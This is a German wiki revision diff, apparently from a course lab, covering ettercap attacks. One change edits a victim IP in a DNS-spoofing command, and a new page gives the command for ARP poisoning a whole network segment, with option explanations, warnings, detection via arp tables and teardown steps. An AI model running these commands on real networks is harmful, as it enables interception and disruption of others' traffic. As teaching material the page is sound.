@@ Zeile 13: / Zeile 13: @@
 *[[Arpspoofing mit Bettercap Kompletter Verkehr]]
 *[[Dnsspoofing mit Bettercap]]
 *[[dnspoof mit ettercap plugin]]

@@ Zeile 10: / Zeile 10: @@
 ==ettercap mit dns plugin starten==
-*OPFER=10.0.10.102
+*OPFER=10.0.10.104
 *ANGREIFER=10.0.10.101
 *ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//

← Nächstältere Version		Version vom 20. August 2026, 14:25 Uhr
Zeile 1:		Zeile 1:
		+	=Ettercap: Kompletter Verkehr im Segment=
		+
		+	=Szenario=
		+	*INTERFACE=eth0
		+	*Netz: 10.0.10.0/24
		+
		+	Ohne Zielangabe vergiftet ettercap alle erreichbaren Hosts gegeneinander.
		+	Der gesamte Verkehr des Segments laeuft dann ueber den Angreifer - nicht nur
		+	die Strecke eines einzelnen Opfers.
		+
		+	=Befehl=
	*ettercap -T -M arp /// ///		*ettercap -T -M arp /// ///
		+
		+	=Optionen=
		+	-T = Textmodus
		+	-M arp = ARP-Spoofing als MITM-Methode
		+	/// /// = zwei leere Ziele = alle Hosts gegen alle Hosts
		+
		+	;Achtung: hier steht bewusst KEIN -q. Bei /// /// gegen ein ganzes Netz will man
		+	;in der Regel sehen, was durchlaeuft. Wer nur spoofen und separat mitschneiden
		+	;will, kann -q wieder dazunehmen.
		+
		+	=Warnung=
		+	;Das ist der lauteste und riskanteste MITM ueberhaupt:
		+	;* Der Angreifer muss den GESAMTEN Verkehr des Segments weiterleiten. Bei vielen
		+	; Hosts wird die Angreifer-Maschine schnell zum Flaschenhals - Pakete gehen
		+	; verloren, Verbindungen brechen ab, das ganze Netz wird langsam.
		+	;* Der Angriff ist im Netz sofort auffaellig (ARP-Sturm, doppelte MACs ueberall).
		+	;* Im Kurslabor unbedingt darauf achten, dass nur die eigene Uebungsgruppe
		+	; betroffen ist und nicht die Nachbargruppen mit im selben Segment haengen.
		+
		+	;Fuer gezieltes Abhoeren ist die Variante mit benannten Zielen (CLIENT/GATEWAY
		+	;oder Host-zu-Host) fast immer die bessere Wahl. /// /// ist die Demo fuer
		+	;"so sieht es aus, wenn jemand mit dem Vorschlaghammer kommt".
		+
		+	=Nachweis auf einem beliebigen Host=
		+	;Mehrere IPs zeigen ploetzlich dieselbe MAC - die des Angreifers
		+	*arp -n
		+	10.0.10.1 ether <MAC-der-kali-innen> C eth0
		+	10.0.10.103 ether <MAC-der-kali-innen> C eth0
		+	10.0.10.105 ether <MAC-der-kali-innen> C eth0
		+
		+	;Wenn quer durch die Tabelle dieselbe MAC auftaucht, laeuft ein Segment-weiter MITM.
		+
		+	=Angriff beenden=
		+	;Ettercap mit q beenden. Beim sauberen Beenden schickt ettercap re-ARP an alle
		+	;betroffenen Hosts, damit die ARP-Caches wieder stimmen.
		+
		+	=Weiterfuehrende Angriffe=
		+	*[[Ngrep]]